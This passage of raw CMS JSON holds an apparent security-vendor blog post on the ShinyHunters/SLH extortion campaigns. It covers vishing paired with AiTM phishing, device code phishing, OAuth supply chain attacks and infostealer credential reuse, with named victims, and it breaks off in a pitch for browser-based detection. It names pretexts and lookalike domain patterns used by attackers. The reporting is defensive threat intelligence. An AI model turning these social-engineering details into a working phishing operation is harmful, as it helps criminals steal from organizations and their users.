"content":38922,"nodeType":866},{},[38923],{"data":38924,"marks":38925,"value":19214,"nodeType":865},{},[],{"data":38927,"content":38928,"nodeType":866},{},[38929,38932,38938,38941,38947],{"data":38930,"marks":38931,"value":19221,"nodeType":865},{},[],{"data":38933,"content":38934,"nodeType":882},{"uri":11342},[38935],{"data":38936,"marks":38937,"value":19228,"nodeType":865},{},[],{"data":38939,"marks":38940,"value":19232,"nodeType":865},{},[],{"data":38942,"content":38943,"nodeType":882},{"uri":11102},[38944],{"data":38945,"marks":38946,"value":11095,"nodeType":865},{},[],{"data":38948,"marks":38949,"value":19242,"nodeType":865},{},[],{"data":38951,"content":38952,"nodeType":1458},{},[38953],{"data":38954,"marks":38955,"value":19250,"nodeType":865},{},[38956],{"type":961},{"data":38958,"content":38959,"nodeType":866},{},[38960,38963,38969,38972,38978],{"data":38961,"marks":38962,"value":19257,"nodeType":865},{},[],{"data":38964,"content":38965,"nodeType":882},{"uri":19260},[38966],{"data":38967,"marks":38968,"value":19265,"nodeType":865},{},[],{"data":38970,"marks":38971,"value":19269,"nodeType":865},{},[],{"data":38973,"content":38974,"nodeType":882},{"uri":3009},[38975],{"data":38976,"marks":38977,"value":19276,"nodeType":865},{},[],{"data":38979,"marks":38980,"value":19280,"nodeType":865},{},[],{"data":38982,"content":38983,"nodeType":866},{},[38984],{"data":38985,"marks":38986,"value":19287,"nodeType":865},{},[],{"data":38988,"content":38989,"nodeType":1458},{},[38990],{"data":38991,"marks":38992,"value":19295,"nodeType":865},{},[38993],{"type":961},{"data":38995,"content":38996,"nodeType":866},{},[38997,39000,39006],{"data":38998,"marks":38999,"value":19302,"nodeType":865},{},[],{"data":39001,"content":39002,"nodeType":882},{"uri":1384},[39003],{"data":39004,"marks":39005,"value":19309,"nodeType":865},{},[],{"data":39007,"marks":39008,"value":19313,"nodeType":865},{},[],{"data":39010,"content":39011,"nodeType":866},{},[39012],{"data":39013,"marks":39014,"value":19320,"nodeType":865},{},[],{"data":39016,"content":39017,"nodeType":866},{},[39018],{"data":39019,"marks":39020,"value":19327,"nodeType":865},{},[],{"data":39022,"content":39025,"nodeType":925},{"target":39023},{"sys":39024},{"id":19332,"type":922,"linkType":923},[],{"data":39027,"content":39028,"nodeType":866},{},[39029],{"data":39030,"marks":39031,"value":19340,"nodeType":865},{},[],{"data":39033,"content":39034,"nodeType":1458},{},[39035],{"data":39036,"marks":39037,"value":19348,"nodeType":865},{},[39038],{"type":961},{"data":39040,"content":39041,"nodeType":866},{},[39042,39045,39051],{"data":39043,"marks":39044,"value":19355,"nodeType":865},{},[],{"data":39046,"content":39047,"nodeType":882},{"uri":4136},[39048],{"data":39049,"marks":39050,"value":19362,"nodeType":865},{},[],{"data":39052,"marks":39053,"value":19366,"nodeType":865},{},[],{"data":39055,"content":39056,"nodeType":866},{},[39057],{"data":39058,"marks":39059,"value":19373,"nodeType":865},{},[],{"data":39061,"content":39062,"nodeType":866},{},[39063,39066,39073],{"data":39064,"marks":39065,"value":19380,"nodeType":865},{},[],{"data":39067,"content":39068,"nodeType":882},{"uri":4136},[39069],{"data":39070,"marks":39071,"value":19388,"nodeType":865},{},[39072],{"type":997},{"data":39074,"marks":39075,"value":19392,"nodeType":865},{},[],{"data":39077,"content":39078,"nodeType":866},{},[39079],{"data":39080,"marks":39081,"value":19399,"nodeType":865},{},[],{"data":39083,"content":39084,"nodeType":953},{},[],{"data":39086,"content":39087,"nodeType":963},{},[39088],{"data":39089,"marks":39090,"value":19410,"nodeType":865},{},[39091],{"type":961},{"data":39093,"content":39094,"nodeType":866},{},[39095],{"data":39096,"marks":39097,"value":19417,"nodeType":865},{},[],{"data":39099,"content":39100,"nodeType":1049},{},[39101,39119,39137,39155],{"data":39102,"content":39103,"nodeType":1003},{},[39104],{"data":39105,"content":39106,"nodeType":866},{},[39107,39110,39116],{"data":39108,"marks":39109,"value":19430,"nodeType":865},{},[],{"data":39111,"content":39112,"nodeType":882},{"uri":8759},[39113],{"data":39114,"marks":39115,"value":19437,"nodeType":865},{},[],{"data":39117,"marks":39118,"value":19441,"nodeType":865},{},[],{"data":39120,"content":39121,"nodeType":1003},{},[39122],{"data":39123,"content":39124,"nodeType":866},{},[39125,39128,39134],{"data":39126,"marks":39127,"value":19451,"nodeType":865},{},[],{"data":39129,"content":39130,"nodeType":882},{"uri":19454},[39131],{"data":39132,"marks":39133,"value":19459,"nodeType":865},{},[],{"data":39135,"marks":39136,"value":19463,"nodeType":865},{},[],{"data":39138,"content":39139,"nodeType":1003},{},[39140],{"data":39141,"content":39142,"nodeType":866},{},[39143,39146,39152],{"data":39144,"marks":39145,"value":19430,"nodeType":865},{},[],{"data":39147,"content":39148,"nodeType":882},{"uri":11102},[39149],{"data":39150,"marks":39151,"value":19479,"nodeType":865},{},[],{"data":39153,"marks":39154,"value":19483,"nodeType":865},{},[],{"data":39156,"content":39157,"nodeType":1003},{},[39158],{"data":39159,"content":39160,"nodeType":866},{},[39161,39164,39170],{"data":39162,"marks":39163,"value":873,"nodeType":865},{},[],{"data":39165,"content":39166,"nodeType":882},{"uri":19495},[39167],{"data":39168,"marks":39169,"value":3909,"nodeType":865},{},[],{"data":39171,"marks":39172,"value":19503,"nodeType":865},{},[],{"data":39174,"content":39175,"nodeType":866},{},[39176],{"data":39177,"marks":39178,"value":19510,"nodeType":865},{},[],{"data":39180,"content":39181,"nodeType":866},{},[39182,39185,39189],{"data":39183,"marks":39184,"value":19517,"nodeType":865},{},[],{"data":39186,"marks":39187,"value":19522,"nodeType":865},{},[39188],{"type":961},{"data":39190,"marks":39191,"value":19526,"nodeType":865},{},[],{"data":39193,"content":39194,"nodeType":953},{},[],{"data":39196,"content":39197,"nodeType":963},{},[39198,39202,39207,39211,39216],{"data":39199,"marks":39200,"value":19537,"nodeType":865},{},[39201],{"type":961},{"data":39203,"marks":39204,"value":19543,"nodeType":865},{},[39205,39206],{"type":944},{"type":961},{"data":39208,"marks":39209,"value":19548,"nodeType":865},{},[39210],{"type":961},{"data":39212,"marks":39213,"value":19554,"nodeType":865},{},[39214,39215],{"type":944},{"type":961},{"data":39217,"marks":39218,"value":19559,"nodeType":865},{},[39219],{"type":961},{"data":39221,"content":39222,"nodeType":866},{},[39223,39226,39232],{"data":39224,"marks":39225,"value":19566,"nodeType":865},{},[],{"data":39227,"content":39228,"nodeType":882},{"uri":19569},[39229],{"data":39230,"marks":39231,"value":19574,"nodeType":865},{},[],{"data":39233,"marks":39234,"value":19578,"nodeType":865},{},[],{"data":39236,"content":39237,"nodeType":866},{},[39238],{"data":39239,"marks":39240,"value":19585,"nodeType":865},{},[],{"data":39242,"content":39243,"nodeType":866},{},[39244],{"data":39245,"marks":39246,"value":19592,"nodeType":865},{},[],{"data":39248,"content":39249,"nodeType":953},{},[],{"data":39251,"content":39252,"nodeType":963},{},[39253],{"data":39254,"marks":39255,"value":19603,"nodeType":865},{},[39256],{"type":961},{"data":39258,"content":39259,"nodeType":866},{},[39260,39263,39269],{"data":39261,"marks":39262,"value":19610,"nodeType":865},{},[],{"data":39264,"content":39265,"nodeType":882},{"uri":19613},[39266],{"data":39267,"marks":39268,"value":19618,"nodeType":865},{},[],{"data":39270,"marks":39271,"value":19622,"nodeType":865},{},[],{"data":39273,"content":39274,"nodeType":866},{},[39275],{"data":39276,"marks":39277,"value":19629,"nodeType":865},{},[],{"data":39279,"content":39280,"nodeType":866},{},[39281],{"data":39282,"marks":39283,"value":19636,"nodeType":865},{},[],{"data":39285,"content":39286,"nodeType":866},{},[39287,39290,39296],{"data":39288,"marks":39289,"value":19643,"nodeType":865},{},[],{"data":39291,"content":39292,"nodeType":882},{"uri":19646},[39293],{"data":39294,"marks":39295,"value":19618,"nodeType":865},{},[],{"data":39297,"marks":39298,"value":1048,"nodeType":865},{},[],{"data":39300,"content":39301,"nodeType":953},{},[],{"data":39303,"content":39304,"nodeType":963},{},[39305],{"data":39306,"marks":39307,"value":19664,"nodeType":865},{},[39308],{"type":961},{"data":39310,"content":39311,"nodeType":866},{},[39312],{"data":39313,"marks":39314,"value":19671,"nodeType":865},{},[],{"data":39316,"content":39317,"nodeType":1049},{},[39318,39327,39336],{"data":39319,"content":39320,"nodeType":1003},{},[39321],{"data":39322,"content":39323,"nodeType":866},{},[39324],{"data":39325,"marks":39326,"value":19684,"nodeType":865},{},[],{"data":39328,"content":39329,"nodeType":1003},{},[39330],{"data":39331,"content":39332,"nodeType":866},{},[39333],{"data":39334,"marks":39335,"value":19694,"nodeType":865},{},[],{"data":39337,"content":39338,"nodeType":1003},{},[39339],{"data":39340,"content":39341,"nodeType":866},{},[39342],{"data":39343,"marks":39344,"value":19704,"nodeType":865},{},[],{"data":39346,"content":39347,"nodeType":866},{},[39348],{"data":39349,"marks":39350,"value":19711,"nodeType":865},{},[],{"data":39352,"content":39353,"nodeType":866},{},[39354,39357,39363],{"data":39355,"marks":39356,"value":19718,"nodeType":865},{},[],{"data":39358,"content":39359,"nodeType":882},{"uri":18999},[39360],{"data":39361,"marks":39362,"value":19725,"nodeType":865},{},[],{"data":39364,"marks":39365,"value":1048,"nodeType":865},{},[],{"data":39367,"content":39368,"nodeType":866},{},[39369,39372,39378],{"data":39370,"marks":39371,"value":19735,"nodeType":865},{},[],{"data":39373,"content":39374,"nodeType":882},{"uri":5636},[39375],{"data":39376,"marks":39377,"value":19742,"nodeType":865},{},[],{"data":39379,"marks":39380,"value":19746,"nodeType":865},{},[],{"data":39382,"content":39385,"nodeType":925},{"target":39383},{"sys":39384},{"id":19751,"type":922,"linkType":923},[],{"data":39387,"content":39388,"nodeType":953},{},[],{"data":39390,"content":39391,"nodeType":866},{},[39392],{"data":39393,"marks":39394,"value":19762,"nodeType":865},{},[],{"data":39396,"content":39397,"nodeType":866},{},[39398,39401,39407],{"data":39399,"marks":39400,"value":1725,"nodeType":865},{},[],{"data":39402,"content":39403,"nodeType":882},{"uri":1728},[39404],{"data":39405,"marks":39406,"value":1734,"nodeType":865},{},[],{"data":39408,"marks":39409,"value":1738,"nodeType":865},{},[],{"items":39411},[39412,39414],{"sys":39413,"name":11426},{"id":11425},{"sys":39415,"name":342},{"id":8410},{"items":39417},[39418],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":39419},{"url":11434},{"__typename":1788,"sys":39421,"content":39423,"title":40383,"synopsis":40384,"hashTags":59,"publishedDate":19780,"slug":40385,"tagsCollection":40386,"authorsCollection":40392},{"id":39422},"3jF1fypt08TNlSoWuoMWhj",{"json":39424},{"data":39425,"content":39426,"nodeType":1739},{},[39427,39453,39484,39527,39570,39576,39588,39591,39599,39648,39655,39678,39684,39687,39695,39723,39730,39738,39744,39747,39755,39762,39780,39787,39829,39836,39839,39847,39866,39921,39924,39932,39950,39968,39975,39982,39994,40006,40018,40030,40046,40054,40061,40064,40070,40076,40091,40094,40102,40120,40377],{"data":39428,"content":39429,"nodeType":866},{},[39430,39434,39440,39444,39449],{"data":39431,"marks":39432,"value":39433,"nodeType":865},{},[],"ShinyHunters and the broader SLH (",{"data":39435,"content":39436,"nodeType":882},{"uri":8759},[39437],{"data":39438,"marks":39439,"value":19437,"nodeType":865},{},[],{"data":39441,"marks":39442,"value":39443,"nodeType":865},{},[],") collective have claimed breaches at thousands of organizations over the past twelve months across retail, technology, aviation, financial services, media, gaming, and education, in what amounts to the most sustained data theft and extortion operation in recent cybercrime history. SLH's genealogy traces through a merger of Scattered Spider, Lapsus$, and ShinyHunters, all parts of ",{"data":39445,"marks":39446,"value":39448,"nodeType":865},{},[39447],{"type":961},"the Com",{"data":39450,"marks":39451,"value":39452,"nodeType":865},{},[],", a broader community of English-speaking cybercriminals with international links. ",{"data":39454,"content":39455,"nodeType":866},{},[39456,39460,39468,39472,39480],{"data":39457,"marks":39458,"value":39459,"nodeType":865},{},[],"The confirmed victim list reads like a Fortune 500 directory: Coca-Cola, Cisco, Qantas, Coinbase, ADT, Aflac, SoundCloud, Rockstar Games, Charter Communications, and recently ",{"data":39461,"content":39463,"nodeType":882},{"uri":39462},"https://www.bleepingcomputer.com/news/security/instructure-confirms-data-breach-shinyhunters-claims-attack/",[39464],{"data":39465,"marks":39466,"value":39467,"nodeType":865},{},[],"Instructure",{"data":39469,"marks":39470,"value":39471,"nodeType":865},{},[]," — whose breach ",{"data":39473,"content":39475,"nodeType":882},{"uri":39474},"https://krebsonsecurity.com/2026/05/canvas-breach-disrupts-schools-colleges-nationwide/",[39476],{"data":39477,"marks":39478,"value":39479,"nodeType":865},{},[],"disrupted schools and universities nationwide",{"data":39481,"marks":39482,"value":39483,"nodeType":865},{},[]," during final exams — among dozens more named publicly and likely many more that haven't been (breaches settled quickly behind closed doors don't always make it into the public eye). ShinyHunters alone claimed over 1.5 billion stolen Salesforce records from a single campaign targeting more than 1,000 organizations.",{"data":39485,"content":39486,"nodeType":866},{},[39487,39491,39499,39503,39511,39515,39523],{"data":39488,"marks":39489,"value":39490,"nodeType":865},{},[],"Additional operating clusters, including Cordial Spider and Snarky Spider (which CrowdStrike ",{"data":39492,"content":39494,"nodeType":882},{"uri":39493},"https://cyberscoop.com/crowdstrike-cordial-spider-snarky-spider-extortion-attacks/",[39495],{"data":39496,"marks":39497,"value":39498,"nodeType":865},{},[],"characterizes as the new generation of Scattered Spider",{"data":39500,"marks":39501,"value":39502,"nodeType":865},{},[],") run parallel campaigns against different target sectors, unified not by shared infrastructure but by a shared playbook of techniques that exploit the structural weakness in modern SaaS-first organizations. ",{"data":39504,"content":39506,"nodeType":882},{"uri":39505},"https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-03-12-Vishing-Campaigns-Lead-to-Data-Theft-and-Extortion.txt",[39507],{"data":39508,"marks":39509,"value":39510,"nodeType":865},{},[],"Unit 42 documented",{"data":39512,"marks":39513,"value":39514,"nodeType":865},{},[]," these groups moving from initial compromise to complete data exfiltration in under an hour — faster than most organizations can even begin to respond. Newer groups with links to the SLH ecosystem like CoinbaseCartel have also continued the tradition of weaponizing stolen credentials from the infostealer economy at scale, as ShinyHunters did in the ",{"data":39516,"content":39518,"nodeType":882},{"uri":39517},"https://www.bleepingcomputer.com/news/security/shinyhunters-claims-15-billion-salesforce-records-stolen-in-drift-hacks/",[39519],{"data":39520,"marks":39521,"value":39522,"nodeType":865},{},[],"2024 Snowflake breach",{"data":39524,"marks":39525,"value":39526,"nodeType":865},{},[]," that compromised over 165 customer environments (and claimed another billion-plus records).",{"data":39528,"content":39529,"nodeType":866},{},[39530,39534,39542,39546,39554,39558,39566],{"data":39531,"marks":39532,"value":39533,"nodeType":865},{},[],"Not every SLH breach is browser-based — the Instructure breach (275 million individuals, ~330 school login portals defaced) began with a Salesforce tenant compromise in September 2025, but resurfaced in May 2026 after attackers exploited a ",{"data":39535,"content":39537,"nodeType":882},{"uri":39536},"https://www.bitdefender.com/en-gb/blog/businessinsights/technical-advisory-shinyhunters-breach-instructure-canvas-lms",[39538],{"data":39539,"marks":39540,"value":39541,"nodeType":865},{},[],"vulnerability affecting Canvas's Free-For-Teacher program",{"data":39543,"marks":39544,"value":39545,"nodeType":865},{},[]," (it's now been confirmed that Instructure \"",{"data":39547,"content":39549,"nodeType":882},{"uri":39548},"https://www.instructure.com/incident_update",[39550],{"data":39551,"marks":39552,"value":39553,"nodeType":865},{},[],"reached a settlement",{"data":39555,"marks":39556,"value":39557,"nodeType":865},{},[],"\" for the deletion of the data, and shut down the free account tier), while the Coinbase breach cost ",{"data":39559,"content":39561,"nodeType":882},{"uri":39560},"https://www.bleepingcomputer.com/news/security/coinbase-discloses-breach-faces-up-to-400-million-in-losses/",[39562],{"data":39563,"marks":39564,"value":39565,"nodeType":865},{},[],"$180M–400M through insider bribery",{"data":39567,"marks":39568,"value":39569,"nodeType":865},{},[]," — but these are the exceptions that prove the rule. ",{"data":39571,"content":39575,"nodeType":925},{"target":39572},{"sys":39573},{"id":39574,"type":922,"linkType":923},"4qNrbDyMJIumQfdbh9YVkU",[],{"data":39577,"content":39578,"nodeType":866},{},[39579,39584],{"data":39580,"marks":39581,"value":39583,"nodeType":865},{},[39582],{"type":961},"The vast majority of SLH campaigns over the past year converge on three browser-based attack vectors: vishing combined with AiTM phishing, device code phishing exploiting account authorization flows, and OAuth supply chain attacks through compromised third-party integrators.",{"data":39585,"marks":39586,"value":39587,"nodeType":865},{},[]," Each is well-documented, each has produced confirmed victims at scale, and each is detectable or preventable through browser-layer security controls.",{"data":39589,"content":39590,"nodeType":953},{},[],{"data":39592,"content":39593,"nodeType":963},{},[39594],{"data":39595,"marks":39596,"value":39598,"nodeType":865},{},[39597],{"type":961},"Vector 1: Vishing combined with AiTM phishing",{"data":39600,"content":39601,"nodeType":866},{},[39602,39606,39613,39616,39624,39627,39634,39638,39645],{"data":39603,"marks":39604,"value":39605,"nodeType":865},{},[],"The most visible campaign right now pairs targeted voice calls with adversary-in-the-middle phishing pages — an approach that ",{"data":39607,"content":39608,"nodeType":882},{"uri":24060},[39609],{"data":39610,"marks":39611,"value":39612,"nodeType":865},{},[],"Mandiant",{"data":39614,"marks":39615,"value":26083,"nodeType":865},{},[],{"data":39617,"content":39619,"nodeType":882},{"uri":39618},"https://www.crowdstrike.com/en-us/blog/defending-against-cordial-spider-and-snarky-spider-with-falcon-shield/",[39620],{"data":39621,"marks":39622,"value":39623,"nodeType":865},{},[]," CrowdStrike",{"data":39625,"marks":39626,"value":38646,"nodeType":865},{},[],{"data":39628,"content":39629,"nodeType":882},{"uri":39505},[39630],{"data":39631,"marks":39632,"value":39633,"nodeType":865},{},[]," Unit 42",{"data":39635,"marks":39636,"value":39637,"nodeType":865},{},[]," have all documented from the incident response side, and which Push has ",{"data":39639,"content":39640,"nodeType":882},{"uri":12335},[39641],{"data":39642,"marks":39643,"value":39644,"nodeType":865},{},[],"documented from inside the attacker's own operator panels",{"data":39646,"marks":39647,"value":1048,"nodeType":865},{},[],{"data":39649,"content":39650,"nodeType":866},{},[39651],{"data":39652,"marks":39653,"value":39654,"nodeType":865},{},[],"An attacker impersonating IT support calls the target employee, establishes urgency — often citing a \"mandatory passkey rollout\" or a \"security compliance update\" — and directs them to a victim-branded AiTM phishing page (typically at a domain like \u003Ccompany>sso.com or \u003Ccompany>internal.com). The attack is processed by a live human in real time, relaying credentials and MFA codes to the legitimate identity provider as they are entered, capturing the resulting session token, and granting the attacker an authenticated session. ",{"data":39656,"content":39657,"nodeType":866},{},[39658,39662,39669,39673],{"data":39659,"marks":39660,"value":39661,"nodeType":865},{},[],"One of the reasons that this method is becoming so widespread is the commoditization of effective tools. Push's ",{"data":39663,"content":39664,"nodeType":882},{"uri":12335},[39665],{"data":39666,"marks":39667,"value":39668,"nodeType":865},{},[],"infiltration of the criminal phishing panels",{"data":39670,"marks":39671,"value":39672,"nodeType":865},{},[]," identified over 400 linked domains across four distinct infrastructure clusters. ",{"data":39674,"marks":39675,"value":39677,"nodeType":865},{},[39676],{"type":961},"This mirrors the pattern that turned AiTM phishing from a specialist capability into an industrialized market with competing PhaaS platforms, but with the added complication that voice phishing as the delivery vector makes the attack invisible to traditional anti-phishing controls at the email layer.",{"data":39679,"content":39683,"nodeType":925},{"target":39680},{"sys":39681},{"id":39682,"type":922,"linkType":923},"1Yhthl0PILGW7EmCcZUrNv",[],{"data":39685,"content":39686,"nodeType":953},{},[],{"data":39688,"content":39689,"nodeType":963},{},[39690],{"data":39691,"marks":39692,"value":39694,"nodeType":865},{},[39693],{"type":961},"Vector 2: Vishing combined with device code phishing",{"data":39696,"content":39697,"nodeType":866},{},[39698,39701,39708,39712,39719],{"data":39699,"marks":39700,"value":873,"nodeType":865},{},[],{"data":39702,"content":39703,"nodeType":882},{"uri":19454},[39704],{"data":39705,"marks":39706,"value":39707,"nodeType":865},{},[],"ShinyHunters Salesforce campaign",{"data":39709,"marks":39710,"value":39711,"nodeType":865},{},[]," that ran through 2025 and into 2026 used device code phishing as one of its core methods, ",{"data":39713,"content":39714,"nodeType":882},{"uri":39517},[39715],{"data":39716,"marks":39717,"value":39718,"nodeType":865},{},[],"compromising over 1,000 organizations and claiming 1.5 billion stolen records",{"data":39720,"marks":39721,"value":39722,"nodeType":865},{},[]," — including an attempted extortion of Salesforce itself. The attack involved registering an attacker-controlled \"DataLoader\" application mimicking a legitimate Salesforce tool, configuring it to request broad OAuth scopes including full API access and refresh token generation, and guiding victims through the device authorization flow via vishing calls.",{"data":39724,"content":39725,"nodeType":866},{},[39726],{"data":39727,"marks":39728,"value":39729,"nodeType":865},{},[],"Device code phishing exploits the OAuth 2.0 device authorization grant — a flow designed for devices without browsers, like smart TVs, but used in a wide range of scenarios including CLI logins — by tricking users into entering a code on Microsoft's (or another identity provider's) legitimate verification page. Since the victim is usually signed into the app in their browser, there’s no login at all. They simply navigate to the app’s device code login page and enter an attacker-provided code to grant the attacker an access token. ",{"data":39731,"content":39732,"nodeType":866},{},[39733],{"data":39734,"marks":39735,"value":39737,"nodeType":865},{},[39736],{"type":961},"This is what makes device code phishing structurally different from AiTM: it defeats all MFA (including passkeys) because the attack doesn’t target the login, but the authorization layer instead.",{"data":39739,"content":39743,"nodeType":925},{"target":39740},{"sys":39741},{"id":39742,"type":922,"linkType":923},"3ElQz8sLATnR8RY5nVlBGM",[],{"data":39745,"content":39746,"nodeType":953},{},[],{"data":39748,"content":39749,"nodeType":963},{},[39750],{"data":39751,"marks":39752,"value":39754,"nodeType":865},{},[39753],{"type":961},"Vector 3: OAuth supply chain attacks through compromised integrators",{"data":39756,"content":39757,"nodeType":866},{},[39758],{"data":39759,"marks":39760,"value":39761,"nodeType":865},{},[],"The third vector does not require the attacker to phish the victim organization's employees at all. Instead, it exploits the OAuth trust relationships that organizations create when they connect third-party SaaS vendors into their environments — and the consequence is that every organization that authorized one of these integrations effectively extended its security boundary to include the vendor's own security posture.",{"data":39763,"content":39764,"nodeType":866},{},[39765,39768,39776],{"data":39766,"marks":39767,"value":873,"nodeType":865},{},[],{"data":39769,"content":39771,"nodeType":882},{"uri":39770},"https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift",[39772],{"data":39773,"marks":39774,"value":39775,"nodeType":865},{},[],"Salesloft/Drift supply chain attack",{"data":39777,"marks":39778,"value":39779,"nodeType":865},{},[]," demonstrated this at scale in 2025: in an extension of the previously mentioned device code phishing campaign, the attacker compromised Salesloft's GitHub environment, used TruffleHog to find secrets, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight. ",{"data":39781,"content":39782,"nodeType":866},{},[39783],{"data":39784,"marks":39785,"value":39786,"nodeType":865},{},[],"Along with the previously mentioned device code phishing attacks,  more than 1000 organizations were breached. The attackers then harvested AWS keys, Snowflake credentials, and stored passwords from breached Salesforce instances, compounding the access into progressively wider reach.",{"data":39788,"content":39789,"nodeType":866},{},[39790,39794,39802,39806,39814,39818,39825],{"data":39791,"marks":39792,"value":39793,"nodeType":865},{},[],"The same structural pattern has continued into 2026 with the Anodot supply chain compromise, which has produced confirmed breaches at ",{"data":39795,"content":39797,"nodeType":882},{"uri":39796},"https://www.bleepingcomputer.com/news/security/vimeo-data-breach-exposes-personal-information-of-119-000-people/",[39798],{"data":39799,"marks":39800,"value":39801,"nodeType":865},{},[],"Vimeo",{"data":39803,"marks":39804,"value":39805,"nodeType":865},{},[]," (119,000 users), Rockstar Games (78.6 million records), and ",{"data":39807,"content":39809,"nodeType":882},{"uri":39808},"https://www.bleepingcomputer.com/news/security/zara-data-breach-exposed-personal-information-of-197-000-people/",[39810],{"data":39811,"marks":39812,"value":39813,"nodeType":865},{},[],"Zara/Inditex",{"data":39815,"marks":39816,"value":39817,"nodeType":865},{},[]," (197,000 people), with further downstream victims likely still emerging. The ",{"data":39819,"content":39820,"nodeType":882},{"uri":3288},[39821],{"data":39822,"marks":39823,"value":39824,"nodeType":865},{},[],"Vercel breach",{"data":39826,"marks":39827,"value":39828,"nodeType":865},{},[],", which involved compromised OAuth tokens from Context.ai cascading into Google Workspace, also reinforces the same attack pattern (though it was likely not a ShinyHunters operation despite being claimed by someone pretending to be them).",{"data":39830,"content":39831,"nodeType":866},{},[39832],{"data":39833,"marks":39834,"value":39835,"nodeType":865},{},[],"A forgotten SaaS integration can easily become the pivot point for downstream compromise. The moment you authorize a third-party integration, your security boundary extends to include that vendor. If the third-party is compromised, every downstream customer organization with an active integration is exposed.",{"data":39837,"content":39838,"nodeType":953},{},[],{"data":39840,"content":39841,"nodeType":963},{},[39842],{"data":39843,"marks":39844,"value":39846,"nodeType":865},{},[39845],{"type":961},"The infostealer credential playbook sits alongside these attacks",{"data":39848,"content":39849,"nodeType":866},{},[39850,39854,39862],{"data":39851,"marks":39852,"value":39853,"nodeType":865},{},[],"Alongside the three vectors above, ShinyHunters has a track record of exploiting the infostealer credential economy at scale — and it predates any of them. The 2024 Snowflake campaign — 165+ customer environments compromised, over a billion records stolen from AT&T, Ticketmaster, Santander, and Advance Auto Parts among others — was built entirely on infostealer-harvested credentials replayed against MFA-less tenants, with ",{"data":39855,"content":39857,"nodeType":882},{"uri":39856},"https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion",[39858],{"data":39859,"marks":39860,"value":39861,"nodeType":865},{},[],"Mandiant's investigation",{"data":39863,"marks":39864,"value":39865,"nodeType":865},{},[]," finding that 80% of compromised accounts had prior breach exposure in datasets dating back to 2020. The credentials were already circulating in criminal marketplaces; ShinyHunters simply purchased and operationalized them at industrial scale.",{"data":39867,"content":39868,"nodeType":866},{},[39869,39873,39881,39885,39893,39897,39905,39909,39917],{"data":39870,"marks":39871,"value":39872,"nodeType":865},{},[],"The same methodology powered the ",{"data":39874,"content":39876,"nodeType":882},{"uri":39875},"https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials/",[39877],{"data":39878,"marks":39879,"value":39880,"nodeType":865},{},[],"HellCat Jira campaign",{"data":39882,"marks":39883,"value":39884,"nodeType":865},{},[]," through 2024–2025, and has now been industrialized as a standalone operation by ",{"data":39886,"content":39888,"nodeType":882},{"uri":39887},"https://www.halcyon.ai/jp/threat-group/coinbasecartel",[39889],{"data":39890,"marks":39891,"value":39892,"nodeType":865},{},[],"CoinbaseCartel",{"data":39894,"marks":39895,"value":39896,"nodeType":865},{},[],", another criminal group reported to be an offshoot of SLH. CoinbaseCartel's model is familiar: purchase old infostealer credentials, use them to access cloud and development environments, exfiltrate data, and demand ransom. ",{"data":39898,"content":39900,"nodeType":882},{"uri":39899},"https://www.infostealers.com/article/inside-the-coinbase-cartel-how-infostealer-credentials-fueled-a-100-company-ransomware-spree/",[39901],{"data":39902,"marks":39903,"value":39904,"nodeType":865},{},[],"Hudson Rock's analysis",{"data":39906,"marks":39907,"value":39908,"nodeType":865},{},[]," of the group's 170+ claimed victims confirms that roughly 80% had prior infostealer infections predating the attacks. The most recent named victim is ",{"data":39910,"content":39912,"nodeType":882},{"uri":39911},"https://www.bleepingcomputer.com/news/security/grafana-says-stolen-github-token-let-hackers-steal-codebase/",[39913],{"data":39914,"marks":39915,"value":39916,"nodeType":865},{},[],"Grafana",{"data":39918,"marks":39919,"value":39920,"nodeType":865},{},[],", where a GitHub token compromised via the TanStack npm supply chain attack and missed during credential rotation was used to download the codebase and attempt extortion. ",{"data":39922,"content":39923,"nodeType":953},{},[],{"data":39925,"content":39926,"nodeType":963},{},[39927],{"data":39928,"marks":39929,"value":39931,"nodeType":865},{},[39930],{"type":961},"These attacks all happen in the browser",{"data":39933,"content":39934,"nodeType":866},{},[39935,39939,39946],{"data":39936,"marks":39937,"value":39938,"nodeType":865},{},[],"Every one of these attack chains is a browser-based attack that either occurs in the browser (AiTM phishing, device code phishing) or could have been prevented at the browser layer (OAuth consent governance). The techniques are interchangeable — the",{"data":39940,"content":39941,"nodeType":882},{"uri":1384},[39942],{"data":39943,"marks":39944,"value":39945,"nodeType":865},{},[]," same criminal kits now offer AiTM and device code phishing side by side",{"data":39947,"marks":39948,"value":39949,"nodeType":865},{},[],", and the same threat actor (ShinyHunters) has used all three vectors across different campaigns within the same twelve-month period.",{"data":39951,"content":39952,"nodeType":866},{},[39953,39957,39964],{"data":39954,"marks":39955,"value":39956,"nodeType":865},{},[],"Additionally, infostealer infections themselves are increasingly delivered through browser-based methods like ",{"data":39958,"content":39960,"nodeType":882},{"uri":39959},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection",[39961],{"data":39962,"marks":39963,"value":315,"nodeType":865},{},[],{"data":39965,"marks":39966,"value":39967,"nodeType":865},{},[],", closing the loop between the credential supply side and the browser-layer detection point.",{"data":39969,"content":39970,"nodeType":1458},{},[39971],{"data":39972,"marks":39973,"value":3604,"nodeType":865},{},[39974],{"type":961},{"data":39976,"content":39977,"nodeType":866},{},[39978],{"data":39979,"marks":39980,"value":39981,"nodeType":865},{},[],"Push operates at the exact point in each of these attack chains where automated intervention can still prevent the compromise. ",{"data":39983,"content":39984,"nodeType":866},{},[39985,39990],{"data":39986,"marks":39987,"value":39989,"nodeType":865},{},[39988],{"type":961},"For vishing + AiTM attacks, ",{"data":39991,"marks":39992,"value":39993,"nodeType":865},{},[],"Push's behavioral phishing detection analyzes and blocks the phishing page in real time by detecting it from the user's browser — regardless of the domains used, hosting infrastructure, or where the URL was delivered.  ",{"data":39995,"content":39996,"nodeType":866},{},[39997,40002],{"data":39998,"marks":39999,"value":40001,"nodeType":865},{},[40000],{"type":961},"For device code phishing,",{"data":40003,"marks":40004,"value":40005,"nodeType":865},{},[]," Push detects the phishing pages associated with device code phishing kits — including generic, technique-class detections that catch new kits without requiring kit-specific signatures. Second, Push provides an additional layer of protection on the legitimate device code authentication pages themselves, preventing users from entering attacker-supplied codes into them. Together, these detections cover both the kit-operated phishing infrastructure 